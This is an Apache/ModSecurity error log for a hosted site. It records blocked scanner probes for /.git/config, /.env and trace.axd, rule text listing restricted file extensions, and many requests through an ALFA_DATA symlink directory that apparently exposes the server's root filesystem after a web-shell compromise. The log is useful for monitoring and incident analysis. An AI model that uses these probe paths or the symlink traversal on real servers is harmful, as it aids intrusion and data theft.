[Sun Oct 25 18:49:38.330145 2026] [security2:error] [pid 2913086:tid 2913086] [client 159.89.127.165:44640] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6HgvP38Mg1nJbae9X5bwAAAAk"]
[Sun Oct 25 18:49:38.330418 2026] [security2:error] [pid 2913086:tid 2913086] [client 159.89.127.165:44640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6HgvP38Mg1nJbae9X5bwAAAAk"]
[Sun Oct 25 18:49:38.330736 2026] [security2:error] [pid 2913086:tid 2913086] [client 159.89.127.165:44640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6HgvP38Mg1nJbae9X5bwAAAAk"]
[Sun Oct 25 18:49:38.838645 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.231.156.59:26271] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:49:39.201536 2026] [security2:error] [pid 2910745:tid 2910745] [client 207.154.212.47:46140] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6Hgx9aSiuCLVOZQhxLeQAAACg"]
[Sun Oct 25 18:49:39.201863 2026] [security2:error] [pid 2910745:tid 2910745] [client 207.154.212.47:46140] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6Hgx9aSiuCLVOZQhxLeQAAACg"]
[Sun Oct 25 18:49:39.202261 2026] [security2:error] [pid 2910745:tid 2910745] [client 207.154.212.47:46140] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6Hgx9aSiuCLVOZQhxLeQAAACg"]
[Sun Oct 25 18:49:40.174406 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 70.184.194.14:49281] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/partial
[Sun Oct 25 18:49:42.783647 2026] [ssl:error] [pid 2916813:tid 2916813] (70014)End of file found: [client 98.82.40.168:29352] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:49:43.414119 2026] [proxy_fcgi:error] [pid 2910718:tid 2910718] [client 159.89.127.165:38384] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 18:49:44.804427 2026] [proxy_fcgi:error] [pid 2916820:tid 2916820] [client 207.154.212.47:48842] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 18:49:44.804903 2026] [security2:error] [pid 2916820:tid 2916820] [client 207.154.212.47:48842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/info.php"] [unique_id "at6HiAjxZ-5Z76H3hrn8VwAAABE"]
[Sun Oct 25 18:49:44.804929 2026] [security2:error] [pid 2916820:tid 2916820] [client 207.154.212.47:48842] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/info.php"] [unique_id "at6HiAjxZ-5Z76H3hrn8VwAAABE"]
[Sun Oct 25 18:49:46.410901 2026] [security2:error] [pid 2916804:tid 2916804] [client 159.89.127.165:38422] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas1.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at6HivGEj3dlYAlwGkB2IAAAABI"]
[Sun Oct 25 18:49:46.411280 2026] [security2:error] [pid 2916804:tid 2916804] [client 159.89.127.165:38422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at6HivGEj3dlYAlwGkB2IAAAABI"]
[Sun Oct 25 18:49:46.411557 2026] [security2:error] [pid 2916804:tid 2916804] [client 159.89.127.165:38422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at6HivGEj3dlYAlwGkB2IAAAABI"]
[Sun Oct 25 18:49:46.892400 2026] [ssl:error] [pid 2910718:tid 2910718] (5)Input/output error: [client 44.205.74.196:9082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:49:47.919578 2026] [security2:error] [pid 2913086:tid 2913086] [client 207.154.212.47:48860] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "plantas2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at6Hi_P38Mg1nJbae9X5cwAAAAk"]
[Sun Oct 25 18:49:47.919957 2026] [security2:error] [pid 2913086:tid 2913086] [client 207.154.212.47:48860] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at6Hi_P38Mg1nJbae9X5cwAAAAk"]
[Sun Oct 25 18:49:47.920212 2026] [security2:error] [pid 2913086:tid 2913086] [client 207.154.212.47:48860] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "at6Hi_P38Mg1nJbae9X5cwAAAAk"]
[Sun Oct 25 18:49:50.456820 2026] [security2:error] [pid 2915585:tid 2915585] [client 187.180.172.127:1986] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/sysinit.target.wants/ldconfig.service"] [unique_id "at6HjtD4Pn-lCPXEDekkewAAAAU"]
[Sun Oct 25 18:49:50.456885 2026] [security2:error] [pid 2915585:tid 2915585] [client 187.180.172.127:1986] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/sysinit.target.wants/ldconfig.service"] [unique_id "at6HjtD4Pn-lCPXEDekkewAAAAU"]
[Sun Oct 25 18:49:50.954455 2026] [ssl:error] [pid 2910745:tid 2910745] (5)Input/output error: [client 3.224.215.150:24730] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:49:59.164303 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 52.1.157.90:47544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:50:01.131534 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 92.56.181.77:59630] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/agetty.reload
[Sun Oct 25 18:50:01.138640 2026] [security2:error] [pid 2910679:tid 2910679] [client 85.208.96.209:33468] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/run/udev/data/c10:237"] [unique_id "at6HmdY9M16TKcRp9n2djwAAAAQ"]
[Sun Oct 25 18:50:01.138676 2026] [security2:error] [pid 2910679:tid 2910679] [client 85.208.96.209:33468] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/run/udev/data/c10:237"] [unique_id "at6HmdY9M16TKcRp9n2djwAAAAQ"]
[Sun Oct 25 18:50:02.754553 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 73.0.96.57:59872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/poison
[Sun Oct 25 18:50:04.293087 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 177.145.211.43:40954] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/agetty.reload
[Sun Oct 25 18:50:07.227832 2026] [core:error] [pid 2915203:tid 2915203] (13)Permission denied: [client 85.208.96.200:21996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/order
[Sun Oct 25 18:50:07.871656 2026] [core:error] [pid 2916813:tid 2916813] (13)Permission denied: [client 172.3.169.233:57285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/agetty.reload
[Sun Oct 25 18:50:14.917967 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 44.210.204.255:11192] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:50:27.823286 2026] [security2:error] [pid 2912588:tid 2912588] [client 107.172.76.131:65327] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Hpz_Kc4MD9DfzX0P7bQAAABk"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 18:50:27.823351 2026] [security2:error] [pid 2912588:tid 2912588] [client 107.172.76.131:65327] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Hpz_Kc4MD9DfzX0P7bQAAABk"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 18:50:34.933450 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 44.193.115.232:38598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:50:39.797399 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 187.107.251.149:49452] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:50:46.939012 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 54.159.18.27:2623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:50:50.181387 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 108.171.109.10:56675] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:51:02.991042 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 44.221.105.234:40485] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:51:04.111397 2026] [security2:error] [pid 2914751:tid 2914751] [client 102.142.18.107:18224] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/smartmontools/smartd.conf"] [unique_id "at6H2KVqeACyoTT_ShpDQAAAAAA"]
[Sun Oct 25 18:51:04.111916 2026] [security2:error] [pid 2914751:tid 2914751] [client 102.142.18.107:18224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/smartmontools/smartd.conf"] [unique_id "at6H2KVqeACyoTT_ShpDQAAAAAA"]
[Sun Oct 25 18:51:04.112285 2026] [security2:error] [pid 2914751:tid 2914751] [client 102.142.18.107:18224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/smartmontools/smartd.conf"] [unique_id "at6H2KVqeACyoTT_ShpDQAAAAAA"]
[Sun Oct 25 18:51:06.560276 2026] [security2:error] [pid 2914701:tid 2914701] [client 216.131.75.180:42548] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/smartmontools/smartd.conf"] [unique_id "at6H2nlWo7mdOcp1-MVulQAAAA8"]
[Sun Oct 25 18:51:06.560846 2026] [security2:error] [pid 2914701:tid 2914701] [client 216.131.75.180:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/smartmontools/smartd.conf"] [unique_id "at6H2nlWo7mdOcp1-MVulQAAAA8"]
[Sun Oct 25 18:51:06.561212 2026] [security2:error] [pid 2914701:tid 2914701] [client 216.131.75.180:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/smartmontools/smartd.conf"] [unique_id "at6H2nlWo7mdOcp1-MVulQAAAA8"]
[Sun Oct 25 18:51:06.933776 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.210.155.69:37623] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:51:09.172869 2026] [security2:error] [pid 2910718:tid 2910718] [client 84.54.73.195:34173] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/smartmontools/smartd.conf"] [unique_id "at6H3UF-wAa8eV2kTFCgHAAAABA"]
[Sun Oct 25 18:51:09.173425 2026] [security2:error] [pid 2910718:tid 2910718] [client 84.54.73.195:34173] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/smartmontools/smartd.conf"] [unique_id "at6H3UF-wAa8eV2kTFCgHAAAABA"]
[Sun Oct 25 18:51:09.173790 2026] [security2:error] [pid 2910718:tid 2910718] [client 84.54.73.195:34173] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/smartmontools/smartd.conf"] [unique_id "at6H3UF-wAa8eV2kTFCgHAAAABA"]
[Sun Oct 25 18:51:11.493050 2026] [core:error] [pid 2916813:tid 2916813] (13)Permission denied: [client 44.215.210.112:45113] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/input/mice/subsystem/input1/device/driver/uevent
[Sun Oct 25 18:51:12.040768 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 191.32.153.116:41980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/destroy_by_rcu
[Sun Oct 25 18:51:16.158359 2026] [core:error] [pid 2914701:tid 2914701] (13)Permission denied: [client 186.12.244.28:21205] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/destroy_by_rcu
[Sun Oct 25 18:51:18.530420 2026] [core:error] [pid 2916813:tid 2916813] (13)Permission denied: [client 38.254.16.77:54126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/destroy_by_rcu
[Sun Oct 25 18:51:18.679404 2026] [security2:error] [pid 2915203:tid 2915203] [client 46.151.182.7:45170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6H5sn12uSLR8YLAM9K7wAAAAM"]
[Sun Oct 25 18:51:18.679592 2026] [security2:error] [pid 2915203:tid 2915203] [client 46.151.182.7:45170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6H5sn12uSLR8YLAM9K7wAAAAM"]
[Sun Oct 25 18:51:18.679828 2026] [security2:error] [pid 2915203:tid 2915203] [client 46.151.182.7:45170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6H5sn12uSLR8YLAM9K7wAAAAM"]
